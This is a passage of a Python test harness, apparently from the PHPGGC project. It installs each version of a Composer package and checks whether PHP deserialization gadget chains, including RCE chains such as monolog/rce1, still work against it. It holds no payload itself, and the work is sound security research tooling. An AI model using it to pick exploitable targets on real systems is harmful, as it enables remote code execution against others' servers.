89 # We'll jump to a temporary directory for phpggc and composer to work
90 # without breaking anything.
91 os.chdir(self._package.work_dir)
92
93 self.test_chains_on_versions(versions)
94
95 def ensure_gc_exists(self, name):
96 """Makes sure that a GC exists."""
97 if not self._executor.phpggc("-i", name):
98 raise TesterException(f"Gadget chain does not exist: {name}")
99
100 def test_chains_on_versions(self, versions):
101 """Contains the main logic. Each version of the package will be
102 installed, and each gadget chain will be tested against it. Results
103 are kept in a table.
104 """
105 table = Table(self._package.name)
106 table.add_column("Package", justify="center")
107
108 for gc in self._gcs:
109 table.add_column(gc, justify="center")
110
111 errored_payload_rows = (self.__status_str(False),) + ("[yellow]-",) * len(
112 self._gcs
113 )
114
115 with Progress() as progress:
116 ptask = progress.add_task("Testing chains", total=len(versions))
117
118 for version in versions:
119 progress.update(ptask, advance=1, description=f"Testing ({version})")
120 try:
121 tests = self.test_chains_on_version(version)
122 except ValueError:
123 table.add_row(version, *errored_payload_rows)
124 else:
125 outputs = [self.__status_str(test) for test in tests]
126 table.add_row(version, self.__status_str(True), *outputs)
127
128 progress.update(ptask, visible=False)
129
130 print(table)
131
132 def __status_str(self, test):
133 return test and "[green]OK" or "[red]KO"
134
135 def test_chains_on_version(self, version):
136 self._package.install_version(version)
137 return [self._executor.phpggc("--test-payload", gc) for gc in self._gcs]
138
139 def cleanup(self):
140 """Cleans up anything we might have used and go back to the original
141 directory.
142 """
143 if self._cwd:
144 os.chdir(self._cwd)
145 if self._package:
146 self._package.cleanup()
147
148
149 class TesterException(Exception):
150 pass
151
152
153 def setup_arguments():
154 parser = argparse.ArgumentParser(
155 description="Test PHPGGC gadget chains against every version of a composer package.",
156 epilog="""\
157 Example:
158 $ ./test-gc-compatibility.py monolog/monolog monolog/rce1 monolog/rce3
159
160 Required executables:
161 The program requires phpggc and composer.
162 By default, it will use the `phpggc` from the current directory, and the
163 composer from PATH. If you wish to use other paths, use the `PHPGGC_PATH`
164 and `COMPOSER_PATH` environment variables.
165 If a file cannot be ran straight up, we'll try using `php <file>` instead.
166
167 Dependencies:
168 $ pip install rich
169
170 Versions:
171 You can specify package version by adding a semicolon to the package name:
172
173 # Tests version 1.6.0 and 1.6.3
174 $ ./test-gc-compatibility.py doctrine/doctrine-bundle:1.6.0,1.6.3 doctrine/rce1
175
176 or with a range:
177
178 # Tests from version 5.0.0 to 6.1.3
179 $ ./test-gc-compatibility.py doctrine/doctrine-bundle:1.6.0..1.12.3 doctrine/rce1
180
181 If no upper or lower version is present, every version before (resp. after)
182 the specified one will be tested:
183
184 # from doctrine 1.12.0 to the newest
185 $ ./test-gc-compatibility.py doctrine/doctrine-bundle:1.12.0.. doctrine/rce1
186 # from the first version of doctrine to 1.6.0
187 $ ./test-gc-compatibility.py doctrine/doctrine-bundle:..1.6.0 doctrine/rce1
188 """,
189 formatter_class=argparse.RawTextHelpFormatter,
190 )
191 parser.add_argument("package")
192 parser.add_argument("gadget_chain", nargs="+")
193
194 return parser.parse_args()
195
196
197 class Executor:
198 """Small wrapper to execute composer and phpggc."""
199
200 def __init__(self):
201 self.get_commands()
202
203 def _try_run_command(self, *cmd):
204 """Tries to run a command to completion: if no exception happens and the
205 return code is zero, returns True. Otherwise, False.
206 """
207 try:
208 process = self._run(*cmd)
209 except (PermissionError, FileNotFoundError) as e:
210 return False
211 return process.returncode == 0
212
213 def _get_valid_run_command(self, php_file):
214 """Tries to run a PHP file directly (e.g. `./file.php`). If it does not
215 work, tries with `php file.php`.
216 Returns the arguments required to launch the file, as tuple.
217 If nothing works, an exception is raised.
218 """
219 # We will change our current directory during the execution.
220 # If we can find php_file in the current path, refer to it using an
221 # absolute path.
222 # Otherwise, just assume it's an alias or from $PATH.
223 path = pathlib.Path(php_file)
224 if path.exists():
225 php_file = str(path.absolute())
226
227 if self._try_run_command(php_file):
228 return (php_file,)
229 elif path.exists() and self._try_run_command(self._php_path, php_file):
230 return (self._php_path, php_file)
231 raise TesterException(f"Unable to run PHP file: {php_file}")
232
233 def get_commands(self):
234 """Gets the paths of the two required programs, phpggc and composer, and
235 verifies if they need to be started with "php" as a prefix.
236 """
237 work_dir = pathlib.Path(__file__).parent.resolve()
238 phpggc = os.environ.get("PHPGGC_PATH", str(work_dir / "phpggc"))
239 composer = os.environ.get("COMPOSER_PATH", "composer")
240
241 if not pathlib.Path(phpggc).is_file():
242 raise TesterException("phpggc executable not found")
243
244 self._php_path = os.environ.get("PHP_BINARY", "php")
245 self._phpggc = self._get_valid_run_command(phpggc)
246 self._composer = self._get_valid_run_command(composer)
247
248 def _run(self, *args):
249 """Runs a program with given arguments."""
250 return subprocess.run(args, stdout=subprocess.PIPE, stderr=subprocess.PIPE)
251
252 def composer(self, *args):
253 """Runs composer and returns stdout and stderr as a tuple."""
254 process = self._run(*self._composer, *args)
255 return process.stdout.decode("utf-8"), process.stderr.decode("utf-8")
256
257 def phpggc(self, *args):
258 """Runs PHPGGC with given arguments and returns whether the execution
259 was successful or not.
260 """
261 return self._run(*self._phpggc, *args).returncode == 0
262
263 def php(self, *args):
264 """Runs PHP with given arguments and returns whether the execution
265 was successful or not.
266 """
267 process = self._run(self._php_path, *args)
268 return process.stdout.decode("utf-8"), process.stderr.decode("utf-8")
269
270
271 class Package:
272 """Represents a composer package."""
273
274 def __init__(self, name, executor):
275 self.extract_name_versions(name)
276 self._executor = executor
277 self.work_dir = pathlib.Path(tempfile.mkdtemp(prefix="phpggc"))
278
279 def extract_name_versions(self, name):
280 if ":" not in name:
281 self.name = name
282 self.versions = None
283 else:
284 self.name, self.versions = name.split(":")
285
286 def get_package_versions(self):
287 versions, _ = self._executor.composer("show", "-a", self.name)
288 versions = re.search(r"versions :(.*)\ntype", versions).group(1)
289 return [v.strip() for v in versions.split(",")]
290
291 def get_target_versions(self):
292 """Uses composer to obtain each version (or tag) for the package."""
293 if self.versions is None:
294 return self.get_package_versions()
295
296 package_versions = None
297 target_versions = []
298
299 def get_version_idx_or_raise(version):
300 try:
301 return package_versions.index(version)
302 except ValueError:
303 raise ValueError(f"Version {version} could not be found")
304
305 for version in self.versions.split(","):
306 # range
307 if ".." in version:
308 vmin, vmax = version.split("..")
309 if package_versions is None:
310 package_versions = self.get_package_versions()
311
312 vmin_idx = (
313 get_version_idx_or_raise(vmin) if vmin else len(package_versions)
314 )
315 vmax_idx = get_version_idx_or_raise(vmax) if vmax else 0
316 # Versions are stored from biggest to smallest
317 target_versions += package_versions[vmax_idx : vmin_idx + 1]
318 else:
319 target_versions.append(version)
320
321 return target_versions
322
323 def clean_workdir(self, final=False):
324 """Removes any composer related file in the working directory, such as
325 composer.json and vendor/.
326 """
327 (self.work_dir / "composer.json").unlink(missing_ok=True)
328 (self.work_dir / "composer.lock").unlink(missing_ok=True)
329 shutil.rmtree(self.work_dir / "vendor", ignore_errors=True)
330 if final:
331 self.work_dir.rmdir()
332
333 def install_version(self, version):
334 """Uses composer to install a specific version of the package."""
335 self.clean_workdir()
336 _, stderr = self._executor.composer(
337 "require",
338 "--no-scripts",
339 "--no-interaction",
340 "--no-plugins",
341 "--quiet",
342 "--ignore-platform-req=ext-*",
343 f"{self.name}:{version}",
344 )
345 if stderr:
346 raise ValueError(f"Unable to install version: {version}")
347
348 def cleanup(self):
349 self.clean_workdir(final=True)
350
351
352 if __name__ == "__main__":
353 tester = Tester()
354
355 try:
356 tester.run()
357 except TesterException as e:
358 print(f"[red]Error: {e}[/red]")
359 except KeyboardInterrupt:
360 print(f"[red]Execution interrupted.")
361 finally:
362 tester.cleanup()